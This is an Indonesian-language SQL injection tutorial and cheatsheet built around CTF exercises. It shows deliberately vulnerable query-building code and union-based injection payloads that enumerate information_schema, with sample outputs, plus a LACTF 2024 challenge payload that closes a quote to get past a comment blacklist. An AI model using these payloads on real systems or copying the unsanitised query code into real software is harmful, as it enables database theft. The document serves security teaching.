💉sql injection

by replican

Cheatsheet sql injection

MateriIntro

Pembahasaan Sql Injection dari basic sampai advanced

Pembahasan basic nosqlinjection seperti mongodb , cassandra , graphql dan banyak lagi

List cheatshee sql maupun nosql seperti syntax2 yang sering digunakan dan juga tools yang sering digunakan

SQL Injection

Basic SQL Injection Retreive Data on Another Tables

pada materi ini akan dibahas sql injection pada select statement

example easy vulnerable code :

txtUserId = getRequestString("UserId");
// or whatever input that not sanitized can from requests query or body form or etc
txtSQL = "SELECT * FROM lulus WHERE id = " + txtUserId;
  • Jadi txtUserId Langsung di input pake + tanpa di filter terlebih dahulu

  • Jadi kita bisa mengleak semua id / table lain bahkan bisa sampai rce jika mysql nya memiliki permission ( into outfile )

Misal kita disuruh leak username dan password dari table Users nya jadi payloadnya adalah

pertama kita cek total tablesnya agar bisa meng enumerate nama db,table dll buat mengquerynya

1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #False

dalam materi dibawah kita akan mempelejari cara memanfaatkan information_schema untuk mengleak suatu informasi dalam database

disini saya biasanya sering pake group by, tapi kalian bisa pake UNION SELECT, ORDER BY u

Jadi totalnya ada 3 column langsung aja kita query pake UNION SELECT

1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

jadi server ngebaca nya gini

select * 
from lulus 
where id = 1 
UNION 
SELECT NULL,NULL,gRoUp_cOncaT(0x7c,schema_name,0x7c) 
fRoM information_schema.schemata

dan output nya adalah nama database yang ada di server dan juga id = 1 dari table lulus

+------+--------------+-----------------------------------------------------------------------------------------+
| id   | id_pendaftar | nama                                                                                    |
+------+--------------+-----------------------------------------------------------------------------------------+
|    1 | 123          | Huna                                                                                    |
| NULL | NULL         | |information_schema|,|mysql|,|ctf|,|performance_schema|,|sys| |
+------+--------------+-----------------------------------------------------------------------------------------+

lgsg muncul tuh database ctf, lgsg aja kita query untuk apa aja si table yang ada di database ctf itu menggunakan concat table_name seperti ini

1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,table_name,0x7c) fRoM information_schema.tables where table_schema='ctf';

output :

+------+--------------+--------------------+
| id   | id_pendaftar | nama               |
+------+--------------+--------------------+
|    1 | 123          | Huna               |
| NULL | NULL         | |lulus|,|flag_123| |
+------+--------------+--------------------+

kita tau ada table flag lgsg kita akses, tapi kita gatau columnya apa . kita bisa query dengan payload seperti ini

select * from lulus where id = 1 UNION SELECT NULL,NULL,gRoUp_cOncaT(0x7c,column_name,0x7c) fRoM information_schema.columns where table_name='flag_123';

output

+------+--------------+------------+
| id   | id_pendaftar | nama       |
+------+--------------+------------+
|    1 | 123          | Huna       |
| NULL | NULL         | |flag_321| |
+------+--------------+------------+

nah kita tau ada column flag_321 aja lgsg aja kita query kan coy kaya gini

1 UNION SELECT NULL,NULL,flag_321  from flag_123;

dan dapet deh flagnya

+------+--------------+---------------------------------------+
| id   | id_pendaftar | nama                                  |
+------+--------------+---------------------------------------+
|    1 | 123          | Huna                                  |
| NULL | NULL         | N2L{lulus_akademi_ctf} |
+------+--------------+---------------------------------------+

mungkin untuk real case outputnya gakan kaya gitu. sesuaiin aja tapi mirip2 kok pasti

Example chall

refferensi : lactf 2024 la-housing-portal

download :

Kerjain dulu nnti kalo stuck baru liat sini lagi hehehe..

vulnerable code :

query = """
    select * from users where {} LIMIT 25;
    """.format(
        " AND ".join(["{} = '{}'".format(k, v) for k, v in prefs.items()])
    )

prefs.item() ga di filter kita lgsg bisa masukin ' pada variable v yg abis di iterate itu ( v itu adalah value dari nama requests form kita jadi misal ada name=asw v nya itu name = 'asw' gitu. lgsg aja payloadnya kita dpt lihat dari tas bisa inject ' untuk nutup stringnya jadi :

' UNION SELECT 1,1,1,1,1,flag FROM flag where '

dibaca server jadi :

select * from users where any = '' 
UNION SELECT 1,1,1,1,1,flag FROM flag where '1' LIMIT 25;

nah kenapa pake ' nah karna commentnya di blacklist jadi nanti error kalo cuman

elect * from users where any = '' 
UNION SELECT 1,1,1,1,1,flag FROM flag ' LIMIT 25;

nah karna ada ' sebelom limit , fix nya pake true condition '1 atau bisa '1'='1 atau true condition yg lain.

dan gmn tau table flagnya? ada di function get_flag select * from flag untuk enumerasi atau jg bisa enumerasi total nama database,colum yg ada pake method diatas.

Blind SQL Injection

soon

NOSQL Injection

Cheatsheet

Last updated